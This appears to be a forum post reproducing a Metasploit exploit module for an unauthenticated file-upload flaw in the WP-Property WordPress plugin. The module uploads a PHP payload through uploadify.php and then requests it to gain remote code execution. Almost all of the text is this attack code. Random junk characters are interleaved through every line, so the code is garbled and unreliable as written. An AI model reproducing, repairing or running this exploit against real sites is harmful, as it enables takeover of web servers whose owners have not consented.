WordPress WP-Property PHP 文件上传漏洞
, a! B0 a2 {7 }+ s. ^
' k: S2 w4 c) x) C/ l) o* U ## # This file is part of the Metasploit Framework and may be subject to
3 N' D$ N8 ?7 K1 G6 [' t
- ]7 r) X1 |) ?3 W' [& h @8 A, s3 V+ W# redistribution and commercial restrictions. Please see the Metasploit
/ N0 f: S8 z' h Q4 S% Z
( }( \6 j4 ?' v# Framework web site for more information on licensing and terms of use.
! r1 N4 a' Y6 _; p# B, n" g a
$ S& E+ J' ?+ l# http://metasploit.com/framework/ ##
- ~8 V: O4 s) K! ~7 G
6 ~0 O3 [2 y' ]9 ]
2 M* `9 c5 l, |6 L) Q' t' @( o3 M8 E" [
0 t/ z" r |6 \$ p. Z9 Q$ W, b% V% l
require 'msf/core'
9 U0 `: g/ {7 ]require 'msf/core/exploit/php_exe'$ ]; G! G5 r1 Q& u
& l8 X1 G S% y8 [$ ?- b
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
5 S2 {4 u& h# o7 ['Description' => %q{6 U% m, i( t8 Y/ w
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
- r' C# Q2 J* Z[+ a% [ ^: b. \. p: Y0 j
'Sammy FORGIT', # initial discovery
. Q' u& l5 E6 e'James Fitts <fitts.james[at]gmail.com>' # metasploit module
( M! d J# r* M/ W/ }( g' f7 T9 p],* i& Y j; g# r) E, l* `7 v2 F* b8 a
'License' => MSF_LICENSE,/ z% E5 m2 |* P5 C
'References' =>/ t% E$ s0 V/ } {8 c: k
[" ~ W; L6 F& H% Z& j( A- d( H
[ 'OSVDB', '82656' ],
& @6 q$ |% G7 O9 ?4 ?3 D[ 'BID', '53787' ],
& I$ L3 V4 p* ~1 P, V* Y: N8 T1 l[ 'EDB', '18987'],
. {" {0 j* ]2 t1 x1 O0 T( _[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]% C* z( h0 d( u) k
],+ u2 w2 z' ?4 ?- g
'Payload' =>
7 k+ @3 x8 D' L3 z{1 A& b3 o4 R+ I8 h/ }( A
'BadChars' => "\x00",
" c+ Y$ w! V' J0 m# i# m+ C A},
$ ~7 z- i: E3 h2 k0 A'Platform' => 'php',
. T6 ^ E! u- J- U- ^6 @'Arch' => ARCH_PHP,
2 p7 F$ \( r1 S1 x! v% U'Targets' =>$ h7 K( Y4 @3 T# n% E8 g! {0 x( Y
[
{$ y7 J/ B+ J' w1 Y$ L5 P$ `3 n[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
3 J4 X- w# h) g- ][ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]+ W- c' H9 H7 }" G* L" A
],
# |& }- \& k+ a& d5 G7 h/ Q! X8 a'DefaultTarget' => 0,
0 z3 u4 k& j* h3 m. T% X'DisclosureDate' => 'Mar 26 2012'))
2 T$ k, ~/ |5 }# F: g6 _. \- P* D) X' p
register_options(
7 ]- K# ~( U; S) L' L[
+ O: |8 r6 K$ t2 b( COptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])1 O; h' N8 a8 D3 M& p/ z
], self.class)6 V: W" _; x: z0 P) X
end
4 V$ b9 p2 f4 @; [ @: J' H3 X8 V6 U( |! g) |
def check
* C( s# E) z0 o& Euri = target_uri.path% r7 ]# f0 A/ B
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
! `1 h% r* E* h9 R7 u( C0 n3 u. U'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"2 y+ T0 `/ f' K3 I' g$ d; M
})' r9 G ^5 L! c! U
1 u6 G2 R% d& Nif not res or res.code != 2007 e* G! A! f0 u' v3 ]
return Exploit::CheckCode::Unknown( m1 h4 \5 V, i7 u
end
& Z2 d2 N7 U6 S2 m0 d6 n Y; f
- b- k- V1 W0 @( `. c! x1 E3 Xreturn Exploit::CheckCode::Appears* C- {8 o4 J, g3 d, F9 O
end
- m/ ~1 Q, T# [# L8 t# A
) L* N) |1 @! Mdef exploit
9 i: O1 H6 }$ S% iuri = target_uri.path
7 h2 i3 }! ?1 N( U0 wuri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)+ F; G8 X4 T+ Y0 [8 t7 G! ]9 d
: _) [) m% ^2 O. A! u' {data = Rex::MIME::Message.new
4 n5 C+ I7 j( d) b4 }data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
9 I$ `' d1 _$ M" x2 f1 @data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\""). _6 R) E, Z0 c, D6 _) Q9 J- E
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')9 W5 ?3 B Q9 y; _8 r4 o
% Q: d: ]8 k$ W! m" e! b
print_status("#{peer} - Uploading payload #{@payload_name}")
, T: Z' X2 Z+ h4 o2 g/ [% tres = send_request_cgi({8 V& t: W2 z2 I4 {
'method' => 'POST',$ c7 q! Q# ^5 F9 F. w
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",: k% ~4 O" a! D' S+ S9 {0 L/ A$ |
'ctype' => "multipart/form-data; boundary=#{data.bound}",
_" j$ ~! R. G& ]/ U0 v8 J'data' => post_data
" d3 m$ Q! z7 k. U- i {) N})8 S& n2 [0 a) y" \
. e( t0 J; M1 [9 L) G: Lif not res or res.code != 200 or res.body !~ /#{@payload_name}/
- I: D( _% L: u( @+ kfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
" u' ]0 L4 u8 Z! n0 Nend
/ t$ e! i9 n e/ o( Z
! T8 p0 l( J0 h* E% h# Cupload_uri = res.body; |6 t9 w+ D0 Q1 f6 M
. Z% N1 |5 F+ n! M$ ?
print_status("#{peer} - Executing payload #{@payload_name}")' K! S4 D. R7 F9 r; O2 D
res = send_request_raw({
3 y$ f# d. `* o) V'uri' => upload_uri,
8 f! W: J- s9 P1 y- W'method' => 'GET'
, I* b1 w# q2 n* |& @5 T( R, g( d})7 I9 T( y6 K1 n s6 H
end$ X8 r; O# H" i* ?2 y, M4 W# w
end$ x/ J& N% |9 h
: q4 R2 U5 Q5 x: I! J不要问我这写的是什么 怎么利用 我是说msf.9 H/ |9 ]$ r) H+ S- n1 V% d
8 {7 s1 r, x! n; V
|